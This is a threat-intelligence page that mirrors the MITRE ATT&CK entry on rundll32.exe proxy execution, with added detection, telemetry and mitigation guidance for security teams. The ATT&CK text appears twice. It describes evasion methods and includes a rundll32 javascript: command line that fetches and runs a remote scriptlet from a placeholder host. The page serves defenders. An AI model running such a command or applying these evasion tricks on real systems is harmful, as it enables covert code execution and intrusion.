T1218.011: Rundll32
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.CitationTrend Micro CPL For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.CitationThis is Security Command Line Confusion
Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.Citationlolbas project Zipfldr.dllCitationlolbas project Ieframe.dll
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.CitationAttackify Rundll32.exe ObscurityCitationGithub NoRunDll DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.Citationrundll32.exe defense evasion
Security context for executives and security teams
Rundll32 is a Windows living-off-the-land execution path: adversaries can run malicious DLLs, Control Panel items, or scripts through a trusted Microsoft binary instead of launching an obvious payload directly. The business issue is not rundll32 itself, which is common, but whether the organization can distinguish expected administrative or application use from suspicious proxy execution before it becomes a broader incident.
Executive priority
Prioritize this where Windows endpoints support critical business processes, privileged users, regulated systems, or operational technology access paths. Because ATT&CK lists this as a stealth sub-technique under System Binary Proxy Execution and links it to many campaigns and groups, leaders should ask whether SOC tooling records rundll32 command lines, parent/child process context, loaded DLL paths, and network activity well enough to support investigation and audit evidence. This is a coverage-validation problem as much as a prevention problem.
Technical view
Validate Windows monitoring for rundll32.exe execution with full command-line capture, parent process, child process, image path, DLL/module load context, user, host, and network indicators. ATT&CK notes abuse patterns including DLL export execution, .cpl execution through Control Panel functions, script execution through rundll32, legitimate signed DLL proxying such as zipfldr.dll or ieframe.dll, ordinal-based exports, and masqueraded DLL/function names. Since official detection text is not provided, use the related DET0475 detection strategy as relationship-driven context, but confirm local detections against normal enterprise software behavior to avoid excessive false positives.
Likely telemetry
- Windows process creation events for rundll32.exe, including full command line
- Parent and child process relationships
- DLL/module load telemetry and file paths
- File creation or modification events for DLL, CPL, script, or masqueraded payload files
- Network connections initiated by rundll32.exe
Detection direction
- Baseline legitimate rundll32 usage by endpoint role, application stack, and administrative tooling before writing high-severity rules.
- Flag rundll32 execution from unusual parents, user-writable paths, temporary locations, recently written files, or unexpected remote shares when telemetry supports it.
- Review command lines referencing CPL execution, script execution, ordinal exports, suspicious export names, or unusual signed DLL proxy patterns described in the ATT&CK object.
- Correlate rundll32 network activity with process ancestry and loaded content; rundll32 making external connections may be higher-value than process execution alone.
- Tune for false positives because rundll32 is part of normal Windows operations and allowlisting can create a blind spot if command-line and module context are ignored.
Mitigation priorities
- Ensure endpoint controls do not blindly trust rundll32.exe solely because it is signed or native to Windows.
- Use the related M1050 Exploit Protection mitigation where appropriate to harden systems and reduce exploit-driven abuse conditions.
- Restrict execution from user-writable and temporary locations where business operations permit.
- Strengthen application control or allowlisting policies around DLL/CPL/script content, focusing on path, signer, parent process, and business need rather than binary name alone.
- Maintain investigation playbooks for suspicious rundll32 activity so responders can quickly collect command line, modules, related files, network destinations, and affected user context.
Additional notes and limits
This object is Windows-specific, is a sub-technique of T1218 System Binary Proxy Execution, and is categorized under stealth. The revoked T1085 relationship indicates older ATT&CK coverage was superseded by this sub-technique. The broad set of campaign and group relationships shows the behavior is reusable across intrusion types, but those relationships should not be treated as evidence of current targeting in a specific environment.
MITRE did not provide official detection text in the supplied object. The take therefore focuses on validation direction derived from the description, platforms, tactics, mitigation relationship, detection-strategy relationship, and cited references. Local software baselines and endpoint telemetry quality are required to determine what is suspicious in a given environment.
Generated from the cited source records. This long-tail analysis has not been individually reviewed by a named human.
Rundll32
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.CitationTrend Micro CPL For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.CitationThis is Security Command Line Confusion
Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.Citationlolbas project Zipfldr.dllCitationlolbas project Ieframe.dll
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.CitationAttackify Rundll32.exe ObscurityCitationGithub NoRunDll DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.Citationrundll32.exe defense evasion
How security teams should use this page
Treat this object as behavior context, not an attribution claim. Validate the related groups, software, data sources, and mitigations against official ATT&CK relationships and your own telemetry before making control-coverage decisions.
All related ATT&CK context
No relationships are available in the current normalized data for this object.
Object version and sync metadata
The fields below describe the current mirrored snapshot. When Glexia retains multiple ATT&CK source imports, you can open the table to compare the same object across releases (hashes and MITRE timestamps). For MITRE’s own release notes and roadmap, see ATT&CK resources — Updates.
Mirrored ATT&CK source object
The raw object is retained through the mirrored ATT&CK source bundle and object hash. The raw endpoint returns the exact object from the mirrored bundle when available.
Source: MITRE ATT&CK®. © 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation. Glexia is not affiliated with or endorsed by MITRE.